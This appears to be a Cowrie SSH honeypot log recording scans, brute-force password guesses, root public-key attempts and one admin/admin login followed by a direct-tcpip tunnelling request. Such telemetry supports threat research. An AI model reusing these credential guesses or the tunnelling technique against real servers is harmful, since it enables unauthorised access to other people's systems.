{"eventid":"cowrie.session.connect","src_ip":"34.53.249.134","src_port":27272,"dst_ip":"10.17.0.5","dst_port":22,"session":"34e4c537c605","protocol":"ssh","message":"New connection: 34.53.249.134:27272 (10.17.0.5:22) [session: 34e4c537c605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:32.261162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:32.302030Z","src_ip":"34.53.249.134","session":"34e4c537c605","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:32.406625Z","src_ip":"34.53.249.134","session":"34e4c537c605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:32.412538Z","src_ip":"34.53.249.134","session":"34e4c537c605","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":40546,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a7469801eb8","protocol":"ssh","message":"New connection: 87.251.64.176:40546 (10.17.0.5:22) [session: 8a7469801eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:49:08.085824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:49:08.090846Z","src_ip":"87.251.64.176","session":"8a7469801eb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:49:08.189781Z","src_ip":"87.251.64.176","session":"8a7469801eb8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:49:08.478644Z","src_ip":"87.251.64.176","session":"8a7469801eb8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:49:08.578418Z","session":"8a7469801eb8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:49:08.680334Z","src_ip":"87.251.64.176","session":"8a7469801eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:49:08.779766Z","src_ip":"87.251.64.176","session":"8a7469801eb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":32401,"dst_ip":"10.17.0.5","dst_port":22,"session":"211d7eb72fa8","protocol":"ssh","message":"New connection: 2.57.121.25:32401 (10.17.0.5:22) [session: 211d7eb72fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:51:47.856023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:51:47.860992Z","src_ip":"2.57.121.25","session":"211d7eb72fa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:51:47.964736Z","src_ip":"2.57.121.25","session":"211d7eb72fa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27071992","message":"login attempt [user/27071992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:51:48.454824Z","src_ip":"2.57.121.25","session":"211d7eb72fa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"270289","message":"login attempt [user/270289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:51:49.561173Z","src_ip":"2.57.121.25","session":"211d7eb72fa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27021979","message":"login attempt [user/27021979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:51:50.667463Z","src_ip":"2.57.121.25","session":"211d7eb72fa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27011993","message":"login attempt [user/27011993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:51:51.774660Z","src_ip":"2.57.121.25","session":"211d7eb72fa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27011980","message":"login attempt [user/27011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:51:52.881411Z","src_ip":"2.57.121.25","session":"211d7eb72fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:51:53.988368Z","src_ip":"2.57.121.25","session":"211d7eb72fa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.219.133.156","src_port":44804,"dst_ip":"10.17.0.5","dst_port":22,"session":"189f7323b77f","protocol":"ssh","message":"New connection: 185.219.133.156:44804 (10.17.0.5:22) [session: 189f7323b77f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:03.734616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:03.740374Z","src_ip":"185.219.133.156","session":"189f7323b77f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:03.865267Z","src_ip":"185.219.133.156","session":"189f7323b77f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:21:8c:8c:cc:53:74:0e:47:77:fc:ab:06:42:13:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0mhjWYED0rsT1e6XMqYjT19Iid2fpw6aLqqQT0srgohZTqA0eNuwZCils4zwWphqViZCtAywR97pG3kOesiiMKu/BntNdsIMjsvS4dGEqwCwqMRgI/p/5NThUYD7faStaJtCwT+QIOtUcb5scGpLPk5Hrc6X4fBuh56P+0e/1kPxbVGvj09auakTKIvRG7nYbaHac+h3oyEQBOVD389QYkMG9PWm6wkLF+a3uDOtT0/OlGQCj87FNX5RmKznJ6qEL8TEbsnJ1/RmmxGxYtTIDBgcjRyMoPU9s3KCeo2YfBHxpQijLC80j+zaZC1zhjOI2hPeef7bvbG48Zipkr7Dn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:21:8c:8c:cc:53:74:0e:47:77:fc:ab:06:42:13:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:04.445118Z","src_ip":"185.219.133.156","session":"189f7323b77f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:21:8c:8c:cc:53:74:0e:47:77:fc:ab:06:42:13:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0mhjWYED0rsT1e6XMqYjT19Iid2fpw6aLqqQT0srgohZTqA0eNuwZCils4zwWphqViZCtAywR97pG3kOesiiMKu/BntNdsIMjsvS4dGEqwCwqMRgI/p/5NThUYD7faStaJtCwT+QIOtUcb5scGpLPk5Hrc6X4fBuh56P+0e/1kPxbVGvj09auakTKIvRG7nYbaHac+h3oyEQBOVD389QYkMG9PWm6wkLF+a3uDOtT0/OlGQCj87FNX5RmKznJ6qEL8TEbsnJ1/RmmxGxYtTIDBgcjRyMoPU9s3KCeo2YfBHxpQijLC80j+zaZC1zhjOI2hPeef7bvbG48Zipkr7Dn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:04.448245Z","src_ip":"185.219.133.156","session":"189f7323b77f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:02:36:fc:1a:e8:d8:b8:50:b0:2d:62:f0:b3:38:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRBMzY6+5KJqUTp4mHI4MHv8PghKZE1iFJbU2iQ9vQ0RVPzFJreOe4TZvG0Yt1htw3X9dfOboMBVwZIdEHKU5NLvN2GWnubuTx9bwJa8UkTyEUKB65LMouo/4sOLCK754fSEYWa71IuT88RXdSnfBPzI9uOEoHsqrkWVen/RPqKS7H69/ZO/o2k4k7ejxklK0IBYKf9ojzZRtDnVRqckE5YTtzN3/hv7fBbBjfcNUYjeTQ6x3KR4ENCWaDmn3NC+sLnhdHk/WiriBgXErRbPfcqy0yMPU3DTACqYc2qZAmpEZ/am6e95kjNLIu0/fQLY9D+eELUIKFWlMbhIqscbRR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:02:36:fc:1a:e8:d8:b8:50:b0:2d:62:f0:b3:38:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:04.567853Z","src_ip":"185.219.133.156","session":"189f7323b77f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:02:36:fc:1a:e8:d8:b8:50:b0:2d:62:f0:b3:38:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRBMzY6+5KJqUTp4mHI4MHv8PghKZE1iFJbU2iQ9vQ0RVPzFJreOe4TZvG0Yt1htw3X9dfOboMBVwZIdEHKU5NLvN2GWnubuTx9bwJa8UkTyEUKB65LMouo/4sOLCK754fSEYWa71IuT88RXdSnfBPzI9uOEoHsqrkWVen/RPqKS7H69/ZO/o2k4k7ejxklK0IBYKf9ojzZRtDnVRqckE5YTtzN3/hv7fBbBjfcNUYjeTQ6x3KR4ENCWaDmn3NC+sLnhdHk/WiriBgXErRbPfcqy0yMPU3DTACqYc2qZAmpEZ/am6e95kjNLIu0/fQLY9D+eELUIKFWlMbhIqscbRR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:04.572118Z","src_ip":"185.219.133.156","session":"189f7323b77f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:d4:10:9e:d9:ca:5a:d2:b2:f3:37:1b:4d:b1:18:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC31o0SAz1hcCCa5Hw7bNZRxfNnBvLQK+uTqBcX6We9jYGll2J0yPr6AnhroKPxwoKHb5UCzXGNuxwKDmzIPepWpYrZzgH2JPcsx4ZGruOOPshdvuujtqCvXlP7R1e/YQie7Xklm6kd7GImE+LRVJNLAiCxXnXFKUvUbUJyrpZVyKwTHdZ8oa4g4zvIzT0rDPkb1s5TlBR4RNYb733hK5pXu8xDYZ0Wb4mLJXi2PrzI0qEVbRkEPSGOStU1mb2LpQ4SvqrRMKL1D2486jxdj+QIl0owB616+bnt4dpJItdSt8cE7TtEtbBGxvetjXI/jLDdOfvqoS8IBsWEUdQNNP9T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:d4:10:9e:d9:ca:5a:d2:b2:f3:37:1b:4d:b1:18:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:04.693281Z","src_ip":"185.219.133.156","session":"189f7323b77f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:d4:10:9e:d9:ca:5a:d2:b2:f3:37:1b:4d:b1:18:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC31o0SAz1hcCCa5Hw7bNZRxfNnBvLQK+uTqBcX6We9jYGll2J0yPr6AnhroKPxwoKHb5UCzXGNuxwKDmzIPepWpYrZzgH2JPcsx4ZGruOOPshdvuujtqCvXlP7R1e/YQie7Xklm6kd7GImE+LRVJNLAiCxXnXFKUvUbUJyrpZVyKwTHdZ8oa4g4zvIzT0rDPkb1s5TlBR4RNYb733hK5pXu8xDYZ0Wb4mLJXi2PrzI0qEVbRkEPSGOStU1mb2LpQ4SvqrRMKL1D2486jxdj+QIl0owB616+bnt4dpJItdSt8cE7TtEtbBGxvetjXI/jLDdOfvqoS8IBsWEUdQNNP9T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:04.698837Z","src_ip":"185.219.133.156","session":"189f7323b77f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:bd:f3:3d:29:5e:d7:48:03:4d:d6:32:38:e8:24:e9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOh+Mj9glw8T8z0UUc990/ZhHDQN5ikXgejoQo5Gy74aduo945xEOKM55sII4tcbVgvE8FRbwBzL3WRoB1XHCebw7yKmxd9bjiFOQmutd9vetJHfrL6ybhwE9Hezz2BS7vA8fp1q/82lP2HT/0wGahhNLd/AEwUyw6J8RFgjXF5lAAAAFQCWVxFut0h0rZQQYQM7+wqLCbBYgQAAAIEAyzmkf9dBVo9MoE8vde1XnxBZi1ky4fUWtcyhz22gC4Jyhfppbt1vt3mfDVnIFv04wTQ0Om39b99D/PMK9JLtppYIwzKDVmiNSRKM/K5SxMLAdFuXjccM+xPOoIwdOSXlN7UblZvDyabkDpsAC+kW35RJJQ1MnNnTdD/irq13lgoAAACADFe7QXjMMdONLD2hGWHrE5jCC4cNHwYR95p1tDiv+xCzUtpR6Y9zRgYWWBTDF6xwrgkIoTSfquDKCbX4ESUV4GCLsORQDUCJTF1PcEQijzHVVMamUCsKZBJ+oHfpQ+1I65MlzYslnuFy7fiqtlIPyGiXqxoSeVjzSOJmxA8zo7k=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 4f:bd:f3:3d:29:5e:d7:48:03:4d:d6:32:38:e8:24:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:04.819123Z","src_ip":"185.219.133.156","session":"189f7323b77f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:bd:f3:3d:29:5e:d7:48:03:4d:d6:32:38:e8:24:e9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOh+Mj9glw8T8z0UUc990/ZhHDQN5ikXgejoQo5Gy74aduo945xEOKM55sII4tcbVgvE8FRbwBzL3WRoB1XHCebw7yKmxd9bjiFOQmutd9vetJHfrL6ybhwE9Hezz2BS7vA8fp1q/82lP2HT/0wGahhNLd/AEwUyw6J8RFgjXF5lAAAAFQCWVxFut0h0rZQQYQM7+wqLCbBYgQAAAIEAyzmkf9dBVo9MoE8vde1XnxBZi1ky4fUWtcyhz22gC4Jyhfppbt1vt3mfDVnIFv04wTQ0Om39b99D/PMK9JLtppYIwzKDVmiNSRKM/K5SxMLAdFuXjccM+xPOoIwdOSXlN7UblZvDyabkDpsAC+kW35RJJQ1MnNnTdD/irq13lgoAAACADFe7QXjMMdONLD2hGWHrE5jCC4cNHwYR95p1tDiv+xCzUtpR6Y9zRgYWWBTDF6xwrgkIoTSfquDKCbX4ESUV4GCLsORQDUCJTF1PcEQijzHVVMamUCsKZBJ+oHfpQ+1I65MlzYslnuFy7fiqtlIPyGiXqxoSeVjzSOJmxA8zo7k=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:04.822947Z","src_ip":"185.219.133.156","session":"189f7323b77f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:59:b6:88:02:6a:fa:41:ac:45:10:54:2c:f7:2e:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAuOWad+BOPd1cJ48q2ZqsHgJ5HGTNcUMbFoSWiXk2WSY9S7Gs/0w3k6pmQhy+JXOH8O/aWO6WXaS1kHcWwwj9Ww1RaVLEllSuJyeTPh4cI/426SjPksrkYPk/dstVdjkvX1iepY8ArOv+lVLRyXtyGf4Kh5xJjIr3URX8xTRY+/F/BtkD4PhsdJwoQZ/dL8Y7zi4GWFzAKVk0n8/DQJfkfFEDT28TbZaegICYOdKZrJj76ETvOhA/y9zAyHPOzChuNBwbwFXjiInI4hoJZZv1CE7LG4CHz5UiqMRoKBzDgTqjdjTiU9sKq2U86a7MLZzLnZXcVPqXQH1nDeFYajoszEomEEt4sbzfYNNTxXQyd48d0KcHb8TrOVsXApDOYqdMfh9DMWnxqG+ElrrMHhkSiYzPyTgXWVvS04NcN4EWZKaW0A5Lc8cSamlxW6KtgkzwQGue56EFvW9FSkFkqd+UiHmPQF9t10hjAMB+wDWbgH4/TDi73nP+bo0FJ/LJCHhw2I9fmzdF9GRv2Hmm8F+beJNKgqKeI/KAvKKju9utYl/HcZwK5MxC3lN5+QEKnIUF2dFKoqOupyIqS0lr+fJJw0zvASlWR7jCc1yncpuoOXc2M+fAzftFFvb6EhwL5rms2XvJpBATwE7z7ftKCvxNJnkSJixIQr2q3ksPAB31YkM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:59:b6:88:02:6a:fa:41:ac:45:10:54:2c:f7:2e:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:04.944102Z","src_ip":"185.219.133.156","session":"189f7323b77f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:59:b6:88:02:6a:fa:41:ac:45:10:54:2c:f7:2e:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAuOWad+BOPd1cJ48q2ZqsHgJ5HGTNcUMbFoSWiXk2WSY9S7Gs/0w3k6pmQhy+JXOH8O/aWO6WXaS1kHcWwwj9Ww1RaVLEllSuJyeTPh4cI/426SjPksrkYPk/dstVdjkvX1iepY8ArOv+lVLRyXtyGf4Kh5xJjIr3URX8xTRY+/F/BtkD4PhsdJwoQZ/dL8Y7zi4GWFzAKVk0n8/DQJfkfFEDT28TbZaegICYOdKZrJj76ETvOhA/y9zAyHPOzChuNBwbwFXjiInI4hoJZZv1CE7LG4CHz5UiqMRoKBzDgTqjdjTiU9sKq2U86a7MLZzLnZXcVPqXQH1nDeFYajoszEomEEt4sbzfYNNTxXQyd48d0KcHb8TrOVsXApDOYqdMfh9DMWnxqG+ElrrMHhkSiYzPyTgXWVvS04NcN4EWZKaW0A5Lc8cSamlxW6KtgkzwQGue56EFvW9FSkFkqd+UiHmPQF9t10hjAMB+wDWbgH4/TDi73nP+bo0FJ/LJCHhw2I9fmzdF9GRv2Hmm8F+beJNKgqKeI/KAvKKju9utYl/HcZwK5MxC3lN5+QEKnIUF2dFKoqOupyIqS0lr+fJJw0zvASlWR7jCc1yncpuoOXc2M+fAzftFFvb6EhwL5rms2XvJpBATwE7z7ftKCvxNJnkSJixIQr2q3ksPAB31YkM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:04.948087Z","src_ip":"185.219.133.156","session":"189f7323b77f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:05.070898Z","src_ip":"185.219.133.156","session":"189f7323b77f","protocol":"ssh"}
